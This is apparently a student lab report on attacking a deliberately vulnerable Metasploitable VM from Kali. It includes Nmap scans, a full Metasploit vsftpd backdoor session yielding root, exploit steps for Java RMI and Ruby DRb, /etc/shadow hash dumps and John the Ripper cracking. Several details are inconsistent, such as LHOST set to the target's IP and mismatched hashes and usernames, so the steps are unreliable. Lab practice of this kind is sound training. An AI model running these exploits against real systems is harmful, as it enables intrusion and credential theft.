Simulating Real-World Network Exploitation and Defense

1. Project Objectives

To simulate real-world scenarios of network exploitation using Kali Linux and Metasploitable, understand vulnerabilities, exploit them, and apply remediation strategies to secure systems.

2. Introduction

In the current digital era, securing networks is a top priority. This project aims to demonstrate practical ethical hacking skills using real-world penetration testing tools and methodologies. The attacker (Kali Linux) will identify and exploit vulnerabilities in a deliberately vulnerable system (Metasploitable), analyze the results, and suggest appropriate remediation measures.

3. Theory About the Project

Ethical hacking involves legally breaking into computers and devices to test an organization's defenses. Tools like Nmap and Metasploit help in identifying weaknesses. This project walks through all major phases: Reconnaissance, Scanning, Enumeration, Exploitation, Privilege Escalation, and Remediation.

4. Project Requirements

- Two Virtual Machines:
  - Kali Linux (Attacker)
  - Metasploitable (Target)

- Software:
  - Nmap
  - Metasploit
  - John the Ripper

5. Tools Details

Tool	Use Case
Nmap	Network scanning and enumeration

Metasploit	Exploitation framework
John the Ripper	Password hash cracking

6. Tasks

Task 1: Basic Network Scan

Command: nmap -v 192.168.244.0/24

Expected Output: List of devices and open ports.

Screenshot:

```
Nmap scan report for 192.168.244.129
Host is up (0.00098s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Nmap scan report for 192.168.244.254
Host is up (0.00041s latency).
All 1000 scanned ports on 192.168.244.254 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 00:50:56:F5:7B:F0 (VMware)

Initiating SYN Stealth Scan at 13:22
Scanning 192.168.244.128 [1000 ports]
Completed SYN Stealth Scan at 13:22, 0.04s elapsed (1000 total ports)
Nmap scan report for 192.168.244.128
Host is up (0.0000090s latency).
All 1000 scanned ports on 192.168.244.128 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Read data files from: /usr/share/nmap
Nmap done: 256 IP addresses (5 hosts up) scanned in 8.13 seconds
```

Task 2: **Reconnaissance**

a) **Scanning for Hidden Ports**
Command: nmap -v -p- 192.168.244.129
Expected Output: Hidden ports
Screenshot:

```
Completed SYN Stealth Scan at 04:21, 5.58s elapsed (65535 total ports)
Nmap scan report for 192.168.244.129
Host is up (0.0012s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
40959/tcp open  unknown
41597/tcp open  unknown
49963/tcp open  unknown
57542/tcp open  unknown
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.81 seconds
           Raw packets sent: 65548 (2.884MB) | Rcvd: 65536 (2.622MB)

┌──(kali㉿kali)-[~]
└─$
```

b) **Service Version Detection**
Command: nmap -v -sV 192.168.244.129
Screenshot:

```
Completed SYN Stealth Scan at 04:52, 0.11s elapsed (1000 total ports)
Initiating Service scan at 04:52
Scanning 23 services on 192.168.244.129
Completed Service scan at 04:52, 11.20s elapsed (23 services on 1 host)
NSE: Script scanning 192.168.244.129.
Initiating NSE at 04:52
Completed NSE at 04:52, 0.10s elapsed
Initiating NSE at 04:52
Completed NSE at 04:52, 0.02s elapsed
Nmap scan report for 192.168.244.129
Host is up (0.0029s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:
linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds
           Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.120KB)

┌──(kali㉿kali)-[~]
```

c) **Operating System Detection**

Command: nmap -v -O 192.168.244.129

Screenshot:

```
Completed SYN Stealth Scan at 04:55, 0.10s elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.244.129
Nmap scan report for 192.168.244.129
Host is up (0.00066s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.028 days (since Fri May 16 04:14:53 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=201 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/share/nmap
OS detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds
           Raw packets sent: 1020 (45.626KB) | Rcvd: 1016 (41.430KB)
```

Task 3: Enumeration

Target IP Address: 192.168.244.129
OS Details: Linux 2.6.X
MAC Address: 00:0C:29:5D:FE:0B

Open Services: ftp, ssh

Hidden Services with Versions:

Port	Service	Version
8787	drb	Ruby DRb RMI (Ruby 1.8)
47436	mountd	1-3 (RPC #100005)
50918	java-rmi	GNU Classpath grmiregistry
59995	nlockmgr	1-4 (RPC #100021)

60004	status	1 (RPC #100024)

Task 4: Exploitation of Services

Use Metasploit to exploit at least three services.
Example Exploits:

1. vsftpd 2.3.4: Backdoor Command Execution

```
InfosecIITG*
*superusers*H@rdT0R3m3b3r*operators*NULL*stuxCTF*mHackresciallo*Eclipse*Gingabeast*Hamad*Immortals*aras
an*MouseTrap*
*damn_sadboi*tadaaa*null2root*HowestCSP*fezfezf*LordVader*Fl@g_Hunt3rs*bluenet*P@Ge2mE*



       =[ metasploit v6.4.34-dev                          ]
+ -- --=[ 2461 exploits - 1267 auxiliary - 431 post       ]
+ -- --=[ 1468 payloads - 49 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of S
ervice
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor C
ommand Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_b
ackdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.244.129
RHOST => 192.168.244.129
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.244.129:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.244.129:21 - USER: 331 Please specify the password.
[+] 192.168.244.129:21 - Backdoor service has been spawned, handling...
[+] 192.168.244.129:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.244.128:33895 -> 192.168.244.129:6200) at 2025-05-16 11:52:
04 -0400
```

2. Java RMI: RMI Registry Code Execution

Overview:

The Java RMI (Remote Method Invocation) service can allow remote attackers to execute arbitrary code on a server by exploiting unsafe object deserialization in the RMI registry.

Vulnerability:

- Service: Java RMI Registry
- Port: 1099 (default)
- Exploit type: Code injection through serialized objects

Metasploit Module:

- exploit/multi/misc/java_rmi_server

Exploitation Steps:

1. Launch Metasploit: msfconsole
2. Search for the exploit: search java_rmi
3. Use the module: use exploit/multi/misc/java_rmi_server
4. Set RHOST and RPORT
5. Set payload: set PAYLOAD java/meterpreter/reverse_tcp
6. Set LHOST: set LHOST 192.168.244.129
7. Exploit: exploit

3. DRb: Ruby DRb Remote Code Execution

Overview:

Ruby DRb (Distributed Ruby) allows Ruby programs to communicate over a network. If not properly secured, attackers can inject and execute arbitrary Ruby code.

Vulnerability:

- Service: Ruby DRb
- Port: Often 8787
- Risk: Remote command execution without authentication

Metasploit Module:

- exploit/multi/misc/drb_remote_codeexec

Exploitation Steps:

1. Launch Metasploit: msfconsole
2. Search for the exploit: search drb

3. Use the module: use exploit/multi/misc/drb_remote_codeexec

4. Set RHOST and RPORT

5. Set payload and LHOST

6. Exploit: exploit

Task 5: Create User with Root Permission

Command: adduser kaif
Set a simple password: hello
Retrieve user details using:
cat /etc/passwd | grep kaif
cat /etc/shadow | grep kaif

Screenshots of /etc/passwd:

```
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/b
systemd-timesync:x:992:992:systemd Time Synchronization:/:/
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
tss:x:102:104:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:103:65534::/var/lib/strongswan:/usr/sbin/nolog
tcpdump:x:104:105::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
avahi:x:106:108:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr
nm-openvpn:x:107:109:NetworkManager OpenVPN,,,:/var/lib/ope
speech-dispatcher:x:108:29:Speech Dispatcher,,,:/run/speech
usbmux:x:109:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/
pulse:x:110:110:PulseAudio daemon,,,:/run/pulse:/usr/sbin/n
nm-openconnect:x:111:113:NetworkManager OpenConnect plugin,
lightdm:x:112:114:Light Display Manager:/var/lib/lightdm:/b
saned:x:113:116::/var/lib/saned:/usr/sbin/nologin
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
rtkit:x:114:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:115:118:colord colour management daemon,,,:/var/li
_galera:x:116:65534::/nonexistent:/usr/sbin/nologin
mysql:x:117:120:MariaDB Server,,,:/nonexistent:/bin/false
stunnel4:x:990:990:stunnel service system account:/var/run/
_rpc:x:118:65534::/run/rpcbind:/usr/sbin/nologin
geoclue:x:119:121::/var/lib/geoclue:/usr/sbin/nologin
Debian-snmp:x:120:122::/var/lib/snmp:/bin/false
sslh:x:121:123::/nonexistent:/usr/sbin/nologin
ntpsec:x:122:126::/nonexistent:/usr/sbin/nologin
cups-pk-helper:x:123:127:user for cups-pk-helper service,,,
redsocks:x:124:128::/var/run/redsocks:/usr/sbin/nologin
_gophish:x:125:130::/var/lib/gophish:/usr/sbin/nologin
iodine:x:126:65534::/run/iodine:/usr/sbin/nologin
miredo:x:127:65534::/var/run/miredo:/usr/sbin/nologin
statd:x:128:65534::/var/lib/nfs:/usr/sbin/nologin
redis:x:129:131::/var/lib/redis:/usr/sbin/nologin
postgres:x:130:132:PostgreSQL administrator,,,:/var/lib/pos
mosquitto:x:131:133::/var/lib/mosquitto:/usr/sbin/nologin
inetsim:x:132:134::/var/lib/inetsim:/usr/sbin/nologin
_gvm:x:133:136::/var/lib/openvas:/usr/sbin/nologin
kali:x:1000:1000:,,,:/home/kali:/usr/bin/zsh
kaif:x:1001:1001:Kaif,,,:/home/kaif:/bin/bash
```

Screenshot of /etc/shadow entries:

```
rtkit:!:20057::::::
colord:!:20057::::::
_galera:!:20057::::::
mysql:!:20057::::::
stunnel4:!*:20057::::::
_rpc:!:20057::::::
geoclue:!:20057::::::
Debian-snmp:!:20057::::::
sslh:!:20057::::::
ntpsec:!:20057::::::
cups-pk-helper:!:20057::::::
redsocks:!:20057::::::
_gophish:!:20057::::::
iodine:!:20057::::::
miredo:!:20057::::::
statd:!:20057::::::
redis:!:20057::::::
postgres:!:20057::::::
mosquitto:!:20057::::::
inetsim:!:20057::::::
_gvm:!:20057::::::
kali:$y$j9T$ufXTBpN1QpgwlgqRFmb/B0$/.y0ybAF4iNQXniErsDWf9QSl2HZH7LnBeRHB4ZiQa9:20057:0:99999:7:::
kaif:$y$j9T$BcWOKD5bUdpq2eOjPMdP11$EwPuXhKeM5MEvP5H4p2jCqUq7ivvPGVpQIPNIwijTZ8:20224:0:99999:7:::
```

Task 6: Cracking Password Hashes

1. Save the password hash in a text file.
2. Run:
   john hashes.txt
   john hashes.txt –show

```
┌──(root㉿kali)-[/home/kali]
└─# john hashes
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8×3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 91 candidates buffered for the current salt, minimum 96 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
hello          (kai)
1g 0:00:00:00 DONE 2/3 (2025-05-16 12:43) 25.00g/s 31800p/s 31800c/s 31800C/s 123456..larry
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Task 7: Remediation

Service	Current Version	Latest Version	Fix Recommendation
vsftpd	2.3.4	3.0.3	Upgrade to latest version to fix backdoor vulnerability.

OpenSSH	4.7p1	9.x	Apply the latest security patches.
drb	Ruby 1.8	Ruby 3.x	Disable unnecessary services or upgrade Ruby version.

Major Learnings From This Project

This project offered an immersive and practical experience in the domain of ethical hacking and real-world cybersecurity. Using tools like Nmap and Metasploit, I explored how attackers uncover vulnerabilities, scan networks, and execute remote exploits. Cracking password hashes using John the Ripper revealed how even encrypted credentials can be compromised when weak password policies are in place.

One of the key takeaways was understanding the critical importance of privilege escalation and how unauthorized access can be misused. Creating a root-level user and accessing sensitive files gave insight into real attacker behavior, emphasizing the necessity for strict access controls.

Researching remediation strategies added a defensive dimension to the project. It highlighted the importance of patch management, upgrading legacy systems, and securing exposed services. Overall, this project enhanced my technical skills, deepened my cybersecurity awareness, and taught me to approach security challenges from both an attacker's and a defender's perspective.

This project offered a hands-on understanding of ethical hacking and network security through the simulation of real-world cyberattacks. I learned to conduct reconnaissance using **Nmap**, identifying live hosts, open ports, and vulnerable services. Exploiting those services with **Metasploit** deepened my knowledge of how attackers leverage system flaws to gain unauthorized access. Cracking password hashes using **John the Ripper** demonstrated the importance of strong cryptographic practices and secure user authentication.

Creating a root-level user on the target system reinforced the concept of privilege escalation and its dangers if proper access control isn't enforced. Additionally, researching and applying remediation measures taught me how essential regular patching, version management, and service minimization are in securing systems. Overall, the project improved my technical skills, situational awareness, and understanding of how to think like both an attacker and a defender in cybersecurity.

.